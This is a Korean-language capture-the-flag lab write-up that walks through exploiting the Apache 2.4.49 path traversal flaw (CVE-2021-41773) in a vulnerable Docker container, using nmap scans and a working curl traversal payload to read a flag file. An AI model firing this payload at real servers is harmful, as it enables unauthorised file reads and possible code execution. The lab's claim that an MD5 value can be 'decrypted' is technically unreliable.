
# Apache 2.4.49 경로 탐색(CVE-2021-41773) 실습 랩 Docker, Nmap 스캐닝, curl을 사용하여 Apache 2.4.49 경로 탐색(CVE-2021-41773)을 악용하고 플래그를 검색하는 실습형 랩입니다.
Apache HTTP Server 2.4.49에서 경로 정규화 변경으로 발견된 결함입니다. 공격자는 경로 순회 공격을 사용하여 Alias와 유사한 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 이러한 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트가 활성화되어 있으면 원격 코드 실행이 가능할 수 있습니다. 이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.
크레딧 소개: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
이 실습의 목표는 Apache 2.4.49에 존재하는 취약점을 악용하는 것입니다. 이를 악용하려면 "path traversal attack"을 사용하여 사전 구성된 폴더 외부의 파일을 매핑하고 일종의 원격 셸을 만들어야 합니다.
실습을 위해 docker hub에 있는 취약한 전용 docker를 사용하는 것이 편리합니다:
링크: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

pull한 docker 이미지를 확인하려면:
$docker images
docker를 포트 8080에서 실행:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
실제로 실행 중인지 확인하려면:
$docker ps

보시다시피 웹 서버는 완벽하게 작동합니다:

스캐닝 단계 (호스트에서 가능한 한 많은 정보를 수집하려고 합니다):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

열거 단계 (스캔 단계에서 찾은 포트를 열거하여 정보를 심층 분석하려고 합니다):
$nmap -sV -sC -oA versionScan localhost

공격을 수행하려면 이 명령을 실행하고 플래그를 찾아야 합니다 (루트에 삽입된 경우):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

실습이 성공적으로 완료되었고 플래그가 실제로 찾은 것인지 확신하려면 문자열을 Md5("HaiTrovatoLaFlag_Apache")로 복호화한 값과 비교하세요. 두 문자열이 일치하면 완료입니다!